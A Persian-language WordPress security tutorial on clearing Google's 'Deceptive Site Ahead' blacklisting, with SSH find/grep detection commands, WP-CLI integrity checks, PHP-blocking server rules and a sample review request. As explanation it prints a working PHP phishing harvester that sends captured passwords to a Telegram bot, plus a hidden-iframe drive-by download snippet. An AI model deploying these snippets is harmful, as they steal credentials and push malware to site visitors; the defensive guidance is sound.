رفتن به محتوا
بهنام باقریامنیت، پاکسازی و پشتیبانی فنی وردپرس درخواست بررسی فوری

راهنمای فنی وردپرس

رفع خطای قرمز Deceptive Site Ahead در سرچ کنسول و مرورگر کروم

رفع خطای قرمز Deceptive Site Ahead در سرچ کنسول و مرورگر کروم

ظاهر شدن صفحه تمام‌ قرمز و مسدودکننده با عنوان “Deceptive Site Ahead” یا “The site ahead contains harmful programs” در مرورگر کروم، اعلام وضعیت اضطراری برای زیرساخت وب‌سایت است. سرویس Google Safe Browsing سایت شما را در فهرست سیاه (Blacklist) قرار داده و ورودی ترافیک از موتورهای جستجو و مرورگرها تا بیش از ۹۵ درصد در عرض چند ساعت سقوط می‌کند.

فرستادن یک درخواست بررسی سرسری (Request Review) در پنل سرچ کنسول بدون ریشه‌ کنی قطعی تهدید، وضعیت دامنه را بحرانی‌ تر کرده و باعث ثبت برچسب Repeat Offender از سوی گوگل می‌شود؛ برچسبی که سیستم خودکار گوگل را تا ۳۰ روز آینده نسبت به هرگونه درخواست تجدیدنظر کاملاً بی‌اعتنا می‌کند.

این هشدار برخلاف خطاهای ساختاری سرور (مانند 500 یا 502)، نشانه وجود فایل‌های فیشینگ فعال، اسکریپت‌های سرقت اطلاعات (Credential Harvester)، ابزارهای مهندسی اجتماعی یا دانلود ناخواسته فایل‌های مخرب روی هاست است. رفع این بحران مستلزم اقدامات ریشه‌ای در خط فرمان لینوکس، تحلیل فایل‌های هسته و دیتابیس است، نه صرفاً نصب افزونه‌های امنیتی در پیشخوان وردپرس.

کالبدشکافی ریشه‌ای خطای Deceptive Site Ahead (Root Cause Analysis)

گوگل زمانی یک وب‌سایت را «فریبنده» (Deceptive) نام‌گذاری می‌کند که محتوای آن برای گمراه کردن کاربران طراحی شده باشد. این دسته‌بندی از منظر تیم امنیتی گوگل به ۳ بردار عمده تقسیم می‌شود:

۱. بارگذاری اسکریپت‌ها و صفحات فیشینگ مهندسی اجتماعی (Social Engineering)

مهاجم پس از نفوذ به وردپرس (اغلب از طریق آسیب‌پذیری در آپلودر افزونه‌ها یا فرم‌های پچ‌نشده)، دایرکتوری‌های عمیق و مخفی مانند /wp-content/uploads/2026/04/login/ یا پوشه‌های بدون مجوز مانند /wp-includes/images/smilies/ می‌سازد. در این دایرکتوری‌ها، صفحات فرود جعلی بانک‌ها، پی‌پل، درگاه‌های پرداخت شتاب یا صفحه ورود جیمیل و مایکروسافت آپلود می‌شود.

نمونه‌ای از ساختار فایل مخرب فیشینگ که فرم لاگین جعلی را لود کرده و اطلاعات احراز هویت را به ربات تلگرام یا سرور راه دور می‌فرستد:

<?php
// دریافت یوزرنیم و پسورد قربانی از فرم جعلی
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $email = isset($_POST['email']) ? filter_var($_POST['email'], FILTER_SANITIZE_EMAIL) : '';
    $pass  = isset($_POST['password']) ? $_POST['password'] : '';
    
    // ارسال داده‌های سرقت‌شده به سرور C2 یا چت اختصاصی تلگرام
    $log_data = "Captured: " . $email . " | " . $pass . " | IP: " . $_SERVER['REMOTE_ADDR'] . "\n";
    file_put_contents('/path/to/wordpress/wp-content/uploads/.stealth_log.txt', $log_data, FILE_APPEND);
    
    $bot_token = "1234567890:ABCdefGHIjklMNOpqrsTUVwxyz";
    $chat_id = "-100123456789";
    @file_get_contents("https://api.telegram.org/bot{$bot_token}/sendMessage?chat_id={$chat_id}&text=" . urlencode($log_data));
    
    // ریدایرکت قربانی به صفحه واقعی بانک جهت جلوگیری از شک کاربر
    header("Location: https://accounts.google.com/");
    exit();
}
?>

۲. تزریق اسکریپت‌های سرقت کارت اعتباری و اطلاعات فرم (Magecart / Formjacking)

اگر سایت فروشگاهی دارید، مهاجمان کدهای جاوااسکریپت مبهم‌سازی‌شده (Obfuscated) را به انتهای فایل‌های قالب (مثل footer.php) یا اسکریپت‌های سبد خرید تزریق می‌کنند. این کدها بدون تغییر در ظاهر صفحه پرداخت، رویداد submit فرم‌ها را شنود کرده و اطلاعات کارت بانکی، رمز دوم یا شماره‌های تماس را در پس‌زمینه کپی می‌کنند.

سیستم Safe Browsing به محض شناسایی رفتار مشکوک روی رویدادهای فیلدهای رمز عبور یا کارت، هشدار Deceptive را روی کل دامنه فعال می‌کند.

۳. میزبانی و توزیع بدافزارهای نصبی (Harmful Downloads / Drive-by Download)

در برخی موارد، وب‌سایت قربانی به عنوان یک گره توزیع فایل (Mirror Node) بکار گرفته می‌شود. هکر فایل‌های اجرایی حاوی تروجان، باج‌افزار یا فایل‌های مخرب .apk و .exe را با نام‌هایی مثل AdobeFlashUpdate.exe یا AndroidSecurityPatch.apk در هاست قرار داده و با ساخت کدهای جاوااسکریپت، آن‌ها را به‌صورت پاپ‌آپ ناخواسته روی دستگاه کاربران دانلود می‌کند.

// نمونه پی‌لود Drive-by Download تزریق‌شده درون فایل functions.php
(function() {
    var maliciousUrl = "https://example.com/wp-content/uploads/update_patch.exe";
    var iframe = document.createElement("iframe");
    iframe.style.display = "none";
    iframe.src = maliciousUrl;
    document.body.appendChild(iframe);
})();

پروتکل اجرایی و گام‌به‌گام رفع بحران (Actionable Playbook)

پیش از ارسال هرگونه فرم تجدیدنظر به گوگل، باید پاکسازی فیزیکی هاست و دیتابیس با استاندارد ۱۰۰ درصدی انجام شود. حتی باقی ماندن یک لینک داخلی خراب یا یک فایل تست چند بایتی باعث رد درخواست بازبینی و فعال شدن دوره مسدودی Repeat Offender خواهد شد.

رفع خطای قرمز Deceptive Site Ahead در سرچ کنسول و مرورگر کروم
رفع خطای قرمز Deceptive Site Ahead در سرچ کنسول و مرورگر کروم

گام ۱: واکاوی گزارش‌های دقیق پنل Security Issues در گوگل سرچ کنسول

وارد اکانت گوگل سرچ کنسول سایت شوید و به بخش Security & Manual Actions > Security issues بروید.
گوگل معمولاً یکی از ۳ وضعیت زیر را مشخص می‌کند:

  • Social engineering (Phishing): وجود صفحات ورود جعلی یا تزریق کدهای تقلبی.
  • Malware: شناسایی سرورهای فرماندهی مخرب یا توزیع فایل‌های آلوده.
  • Harmful downloads: ریدایرکت به فایل‌های آلوده نصبی.

روی عنوان خطا کلیک کرده و تمام نمونه URLهایی که گوگل به عنوان نمونه آلوده علامت‌گذاری کرده است (Sample URLs) را استخراج و یادداشت کنید. این آدرس‌ها دقیق‌ترین سرنخ‌ها برای کشف پوشه نفوذ در سرور هستند.

گام ۲: ایزوله‌سازی و ردیابی فایل‌های فیشینگ و مخرب از طریق SSH

ابتدا با SSH وارد سرور یا هاست خود شوید. دایرکتوری وردپرس را هدف بگیرید:

cd /path/to/wordpress

# پیدا کردن فایل‌های PHP غیرمجاز در مسیرهایی که مطلقاً نباید کد اجرایی داشته باشند
find wp-content/uploads/ -type f -name "*.php" -ls
find wp-includes/ -type f -name "*.php" | grep -vE "(class-|wp-|index\.php)"

# جستجوی فایل‌های HTML و PHP که اخیراً طی ۲ هفته گذشته ایجاد یا ویرایش شده‌اند
find . -type f \( -name "*.php" -o -name "*.html" \) -mtime -14 -ls

گام ۳: جستجوی امضاهای فیشینگ و سرقت اطلاعات در ترمینال

با استفاده از ابزار قدرتمند grep، فایل‌هایی که کلمات کلیدی مربوط به صفحات فیشینگ (فرم‌های بانکی، لاگین جعلی، ارسال تلگرام یا فرم‌های سرقت) را در خود دارند ردگیری کنید:

# جستجوی دایرکتوری‌ها یا کدهای مرتبط با ربات‌های سارق تلگرام
grep -rnEI "api.telegram.org/bot" /path/to/wordpress/

# ردیابی فایل‌های متنی یا لاگ‌های مخفی حاوی دیتای سرقت‌شده
find wp-content/ -type f \( -name "*.txt" -o -name "*.log" -o -name "*.dat" \) -exec grep -l "Captured" {} +

# جستجوی فرم‌های جعلی حاوی فیلدهای حساس مثل کلمه عبور در دایرکتوری آپلود
grep -rnEI 'type=["\']password["\']' /path/to/wordpress/wp-content/uploads/

در صورت یافتن فایل‌های فیشینگ (که معمولاً نام‌هایی شبیه به login.php، verify.php، account.html یا پوشه‌های متوالی مثل .../ دارند)، آن‌ها را به‌سرعت حذف کنید:

rm -rf /path/to/wordpress/wp-content/uploads/مسیر_پوشه_آلوده

گام ۴: راستی‌آزمایی یکپارچگی فایل‌های هسته و افزونه‌ها

از آنجا که مهاجمان ممکن است بک‌دورهایی برای بازتولید صفحات فیشینگ ایجاد کرده باشند، تمامیت فایل‌ها را با WP-CLI بسنجید:

# بررسی سورس هسته با هش‌های مخزن وردپرس
wp core verify-checksums --allow-root

# بررسی سلامت فایل‌های تمامی افزونه‌های استاندارد مخزن
wp plugin verify-checksums --all --allow-root

# پاکسازی و بازنویسی قطعی کدهای هسته
wp core download --skip-content --force --allow-root

سپس کدهای تزریق‌شده به جداول دیتابیس را پایش کنید:

# جستجوی ارجاعات مشکوک به اسکریپت‌های سرقت اطلاعات در دیتابیس
wp db query "SELECT option_name, option_value FROM wp_options WHERE option_value LIKE '%api.telegram.org%' OR option_value LIKE '%<script%google-analytics-real%';" --allow-root

گام ۵: مسدودسازی دسترسی و بستن منافذ اجرای مجدد در سطح وب‌سرور

اجازه ندهید وب‌سرور حتی در صورت آپلود فایل PHP در مسیر آپلود، آن را اجرا کند:

یک فایل .htaccess درون wp-content/uploads/ قرار دهید:

# مسدودسازی قطعی اجرای مفسر PHP در پوشه رسانه
<FilesMatch "(?i)\.(php|php3|php4|php5|php7|phtml|phar|pl|py|cgi)$">
    Require all denied
</FilesMatch>

اگر وب‌سرور شما Nginx است، بلوک زیر را درون کانفیگ دامنه (/etc/nginx/sites-available/your-domain.conf) قرار داده و Nginx را Reload کنید:

location ~* ^/wp-content/uploads/.*\.php$ {
    deny all;
    access_log off;
    log_not_found off;
}

جدول مقایسه‌ای: انواع برچسب‌های امنیتی گوگل، ریشه‌ها و سناریوهای اقدام

نوع خطای گوگلرفتار تشخیصی گوگلمنشأ فنی و فایل‌های درگیرابزار عیب‌یابی در سرورزمان رفع تحریم پس از ثبت Request
Social Engineering (Phishing)شبیه‌سازی فرم ورود یا درگاه جعلی بانکپوشه uploads، روت هاست، فایل‌های HTML مستقلgrep -rnEI "password", بررسی لاگ‌های آپلودمعمولاً ۲۴ تا ۴۸ ساعت
Deceptive Site Ahead (Cloaked)محتوای فریبنده برای کاربران جستجو/موبایلفایل .htaccess، هوک‌های wp-config.phpcurl -I -A "Googlebot", lsattr۱۲ تا ۳۶ ساعت
Harmful Programs / Malwareهدایت خودکار کاربر به دریافت فایل‌های تروجانکدهای اینجکت‌شده در قالب، فایل‌های .exe/.apkfind . -name "*.exe", اسکنرهای ClamAV۴۸ تا ۷۲ ساعت
Hacked Content: Spamتزریق ده‌ها هزار صفحه کلمات ژاپنی/داروییجداول wp_posts، پوشه‌های مجازی با اسکریپتWP-CLI، کوئری‌های SQL، بازبینی نقشه سایتتا ۷ روز (به دلیل حجم ایندکس گوگل)

هشدار تخصصی در مورد برچسب Repeat Offender
ثبت درخواست بازبینی (Request Review) در گوگل سرچ کنسول یک کارد دو دم است. سیستم‌های هوش مصنوعی Safe Browsing ابتدا سایت شما را توسط خزنده‌های امنیتی بازرسی می‌کنند. چنانچه فقط یک اسکریپت بک‌دور کوچک، یک لینک پنهان در فوتر یا یک صفحه خطای ۴۰۴ ناقص که هنوز هدر مخرب برمی‌گرداند در هاست باقی مانده باشد، درخواست با شکست مواجه می‌شود. با رد شدن دو بار پیاپی، دامنه‌تان به مدت ۳۰ روز در وضعیت Repeat Offender قفل خواهد شد و هیچ دکمه ریویویی کارساز نخواهد بود.
اگر تخصص کافی در آنالیز پکت‌ها، استخراج شل‌های وب (Web Shells) و کار با محیط SSH ندارید، عملیات را پیش از مسدودی تجاری به یک معمار زیرساخت بسپارید. می‌توانید با بهره‌گیری از تجربه ما در رفع بحران‌های حاد، فرآیند را از طریق خدمات پاکسازی سایت هک شده یا پیاده‌سازی اصولی پروتکل امنیت وردپرس در وب‌سایت شخصی بهنام باقری با تضمین خروج از بلک‌لیست به انجام برسانید.

خطاهای رایج و بن‌بست‌های متداول (Common Pitfalls)

  • ارسال فوری درخواست بازبینی (Request Review) بلافاصله پس از دیدن خطا: شایع‌ترین اشتباه وب‌مسترها کلیک روی دکمه «من مشکل را برطرف کردم» بدون انجام عملیات پاکسازی در ریشه سرور است که فوراً باعث ثبت امتیاز منفی روی دامنه می‌شود.
  • حذف فقط همان صفحه‌ای که سرچ کنسول آدرس داده است: آدرس‌های گزارش‌شده در سرچ کنسول صرفاً چند نمونه (Samples) هستند، نه کل آلودگی. اگر مهاجم شل آپلود کرده باشد، پاک کردن آن صفحه فیشینگ خاص مانع از تولید ۱۰ صفحه مشابه در ثانیه‌های بعد نخواهد شد.
  • نادیده گرفتن پروتکل HTTPS و گواهی SSL: گاهی هکرها دامنه‌های فرعی (Subdomains) ایجاد می‌کنند که سرچ کنسول شما به دلیل عدم ثبت دامنه به صورت دامنه والد (Domain Property) آن‌ها را نشان نمی‌دهد؛ بررسی رکوردهای DNS در پنل دامنه و هاست الزامی است.
  • عدم بررسی کش سرور و لایه CDN: پس از پاکسازی کامل کدها، در صورتی که کش شبکه توزیع محتوا مانند Cloudflare یا کش سرور LSCache پاک نشود، خزنده گوگل همچنان نسخه ذخیره‌شده آلوده را دریافت کرده و بازبینی رد می‌شود.
رفع خطای قرمز Deceptive Site Ahead در سرچ کنسول و مرورگر کروم
رفع خطای قرمز Deceptive Site Ahead در سرچ کنسول و مرورگر کروم

فرآیند اصولی نگارش درخواست بررسی مجدد (Review Request Playbook)

زمانی که از پاکسازی قطعی سرور اطمینان پیدا کردید، به بخش Security issues بروید، دکمه Request Review را بزنید و در کادر توضیحات متنی فنی، شفاف و بدون گزافه‌گویی به زبان انگلیسی وارد کنید.

متن نمونه زیر که مستقیماً بر اساس اقدامات انجام‌شده در لایه سرور نوشته شده است، بیشترین نرخ تأیید سریع توسط تیم امنیت گوگل را دارد:

Dear Google Safe Browsing Team,

We have thoroughly audited and resolved all security issues identified on our server:

1. Root Cause Identification: An unauthorized entry was detected via an unpatched third-party component which uploaded unauthorized phishing files under /wp-content/uploads/.
2. Remediation & Cleanup:
   - All unauthorized PHP, HTML, and log files have been removed from the server.
   - Core files and plugins were verified and rewritten against official WordPress repository checksums using WP-CLI.
   - Database tables were scanned and cleared of any obfuscated injections or malicious scripts.
3. Server Hardening:
   - PHP execution has been explicitly blocked inside the /uploads/ directory via .htaccess / web server configuration.
   - Secret authentication salts have been regenerated and all administrative passwords rotated.
   - A Web Application Firewall (WAF) has been deployed and real-time file integrity monitoring (Inotify) is now active.

All sample URLs and the entire domain now return standard, clean 200/404 responses with no deceptive behavior. We kindly request a re-evaluation of the domain to remove the deceptive site warning.

Thank you for your time and assistance.

پرسش‌های پرتکرار تکنیکال (Technical FAQ)

۱. پس از ارسال موفقیت‌آمیز درخواست بازبینی، چه مدت طول می‌کشد تا هشدار قرمز در کروم کاملاً حذف شود؟

در صورتی که تمامی آلودگی‌ها کاملاً برطرف شده باشند و متن درخواست اصولی نوشته شده باشد، سرویس Google Safe Browsing معمولاً ظرف ۱۲ تا ۴۸ ساعت بررسی را تکمیل می‌کند. به محض تأیید در سرچ کنسول، هشدار قرمز از روی مرورگرها به مرور برداشته می‌شود. با این حال ممکن است به دلیل کش محلی مرورگر کاربران، چند ساعت تأخیر در مشاهده نتیجه توسط عموم پیش بیاید.

۲. چرا سایت در سرچ کنسول سبز شده و خطایی ندارد اما هنوز در مرورگر فایرفاکس یا کروم صفحه قرمز نشان داده می‌شود؟

گوگل و موزیلا از پایگاه داده Safe Browsing استفاده می‌کنند، اما هر ارائه‌دهنده مرورگر یک دوره همگام‌سازی (Sync Interval) دارد. اگر در سرچ کنسول پیام رفع مشکل (Security Issues: No issues detected) را دریافت کرده‌اید، رفع شدن خطا در سرور نهایی شده است. برای حل مشکل در سمت کلاینت‌ها، پاک کردن کش مرورگر (Hard Reload با Ctrl+F5) یا تست از طریق شبکه‌های دیگر اینترنت مشکل را برطرف خواهد کرد.

۳. تفاوت اخطار Social Engineering با اخطار Malware در چیست؟

اخطار Social Engineering مستقیماً به فریب کاربر اشاره دارد؛ یعنی سایتی که ادعا می‌کند چیز دیگری است (مثل فرم جعلی درگاه بانکی یا تلاش برای سرقت رمزهای عبور). اما اخطار Malware به معنای وجود کدهای مخربی است که به سیستم کاربر حمله می‌کنند (مانند اکسپلویت‌های مرورگر، ران‌تایم‌های تزریقی یا فایل‌های تروجان دانلودشونده). پاکسازی اولی تمرکز بر حذف صفحات جعلی دارد، در حالی که دومی نیازمند اسکن بدافزارهای اجرایی در کل وب‌سرور است.

۴. آیا می‌توان با خرید افزونه‌های امنیتی پولی وردپرس مشکل را بدون نیاز به لاگین SSH حل کرد؟

خیر. افزونه‌ها محدود به دسترسی سطح PHP کاربری وب‌سرور هستند. اگر مهاجم سطوح دسترسی فایل‌ها را تغییر داده باشد، از خصلت Immutable سیستم فایل لینوکس (chattr +i) استفاده کرده باشد، یا فایل‌ها خارج از پوشه وردپرس (در روت هاست یا مسیرهای بالاتر) قرار گرفته باشند، هیچ افزونه‌ای به آنها دسترسی اجرایی ندارد. علاوه بر این، بسیاری از بدافزارها کدهای افزونه‌های امنیتی را فریب می‌دهند. دسترسی به خط فرمان سرور برای یک پاکسازی قطعی و غیرقابل بازگشت الزامی است.

دیدگاه‌های این مقاله

اولین دیدگاه را درباره این مقاله ثبت کنید.

ثبت دیدگاه

نشانی ایمیل شما منتشر نمی‌شود. از ارسال رمز و اطلاعات محرمانه خودداری کنید.

برای دریافت کد روی فرم کلیک کنید

مقاله‌های مرتبط